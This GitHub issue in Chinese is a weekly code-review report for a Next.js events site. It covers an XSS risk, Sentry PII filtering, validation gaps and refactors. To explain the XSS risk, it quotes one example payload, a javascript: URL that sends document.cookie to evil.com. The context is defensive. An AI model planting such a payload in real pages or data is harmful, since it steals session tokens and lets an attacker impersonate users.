Skip to content

本周代码 CR 发现的问题清单(2026-04-13 ~ 2026-04-17) #302

@longsizhuo

Description

@longsizhuo

Context

CR 覆盖本周 4 个大 PR + 若干 fix:

整体代码质量高,注释密度够,踩坑复盘到位。以下是扫出来的改进项,按优先级排。


🔴 P0 · 安全

[P0-1] events 页外链未做 URL scheme 白名单(XSS)

位置

  • app/events/[id]/page.tsx:149 speaker.profileUrl → <a href>
  • app/events/page.tsx:139 event.coverUrl → <img src>
  • app/events/[id]/page.tsx:113,142,188,205 同上 coverUrl / avatarUrl / playbackUrl / discordLink

风险:管理员或被篡改的后端数据若塞 javascript:fetch('//evil.com/steal?c='+document.cookie),用户点击后在本站 origin 执行 JS,可盗 satoken 冒充用户。

修复:复用 app/u/[username]/page.tsx:243sanitizeExternalUrl(白名单 http/https/mailto),或抽到 lib/url-safety.ts 共享。unsafe 时渲染为纯文本。


🟡 P1 · 体验/健壮性

[P1-1] InterestButton 静默吞异常

位置app/events/[id]/InterestButton.tsx:77

} catch {
  setInterested(prevInterested);
  setCount(prevCount);
}

点击失败时数字回滚但没任何错误反馈,用户以为按钮坏了。参考 SettingsForm 的 showToast 模式加 UI 提示。

[P1-2] Sentry 缺 PII 过滤 hook

位置sentry.client.config.ts / sentry.server.config.ts

目前没配 beforeSend,若 error 上下文带 satoken header / cookie / request body 会原样上报到 Sentry。免费 tier 5K errors/月容易撞配额,合规上也不好。

建议:

beforeSend(event) {
  if (event.request?.headers) {
    delete event.request.headers.satoken;
    delete event.request.headers.cookie;
    delete event.request.headers.authorization;
  }
  return event;
}

🟡 P2 · 改进

[P2-1] EventForm 未校验 endTime > startTime

位置app/admin/events/EventForm.tsx:38

提交前只 toIso,没校验时间逻辑,能填 endTime < startTime。前后端都加校验最稳妥。

[P2-2] Sentry server config 应该用 SENTRY_DSN 而非 NEXT_PUBLIC_SENTRY_DSN

位置sentry.server.config.ts:10sentry.edge.config.ts

NEXT_PUBLIC_ 前缀会打进客户端 bundle——client config 必须这样,但 server/edge 用私有 env 更干净。DSN 本身设计上可公开(类似 Stripe publishable key),只是没必要多暴露一份。

[P2-3] AdminGuard 权限判断依赖 seed 脚本

位置app/admin/events/AdminGuard.tsx:57

const passes = required === "superadmin"
  ? roles.includes("superadmin")
  : roles.includes("admin");

注释说 "superadmin 在 seed 里也会带 admin"——这依赖 seed 脚本不改。建议显式:

const passes = roles.includes(required) || roles.includes("superadmin");

🟢 P3 · 风格/重构

[P3-1] 全站 <img> 重复 eslint-disable

全站 unoptimized: true 导致所有原生 <img> 都要 // eslint-disable-next-line @next/next/no-img-element。events 页已经出现 6 次。抽成 <SafeImg> 组件(forwardRef,内部 eslint-disable)减少重复。

[P3-2] /events 和 /events/[id] 可以 Suspense 化

两个页面都在 await fetchEvents() 阻塞 HTML flush,和之前修 HotDocsPreview 同款问题。虽然有 revalidate: 300 缓存,但 cache miss 仍阻塞。影响不大可以缓做。

[P3-3] rate-limit.ts Redis 实例重复创建

位置lib/rate-limit.ts:36-54

三个 getChatLimiter / getChatImageLimiter / getDailyLimiter 各自调 getRedis(),会建 3 个 Redis 客户端。加一个 module-level cachedRedis 复用。影响极小(都是 HTTP)。


✅ 点赞(不用动)

  1. Rate-limit IP 防伪造 (lib/rate-limit.ts:109-123):x-real-ip 优先 + XFF 取最后一个 trusted proxy 值,避开 parts[0] 坑
  2. YouTube host 严格白名单 (app/events/[id]/page.tsx:260-268):精确匹配 + .youtube.com 子域,没踩 evilyoutube.com 的 endsWith 坑
  3. pgAdmin iframe 踩坑复盘 (app/admin/database/page.tsx:1-18):跨域 CSRF + 同源代理 host 重定向两种死法都写在注释里
  4. Sentry 按 runtime 分 config (instrumentation.ts):符合 Next.js 15 约定
  5. syncTokenCookie 的 Secure/Domain/SameSite 组合正确:localhost 不写 Domain,https 才加 Secure
  6. rate-limit warn 单例化 (hasWarnedMissingUpstash):不刷日志——Copilot CR 修出来的

📋 验证计划(待 owner 自己找时间做)

级别 条目 预估工作量
🔴 P0 P0-1 events 外链过滤 10 分钟(复用 sanitizeExternalUrl)
🟡 P1 P1-1 InterestButton 错误提示 10 分钟
🟡 P1 P1-2 Sentry beforeSend 5 分钟
🟡 P2 P2-1 EventForm 时间校验 5 分钟
🟡 P2 P2-2 Sentry DSN env 改名 2 分钟
🟡 P2 P2-3 AdminGuard 逻辑显式化 2 分钟
🟢 P3 P3-1 SafeImg 组件 20 分钟(repetitive)
🟢 P3 P3-2 events Suspense 15 分钟
🟢 P3 P3-3 Redis 单例 5 分钟

总工作量:~1.5 小时(不含 P0/P1 的回归测试)。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions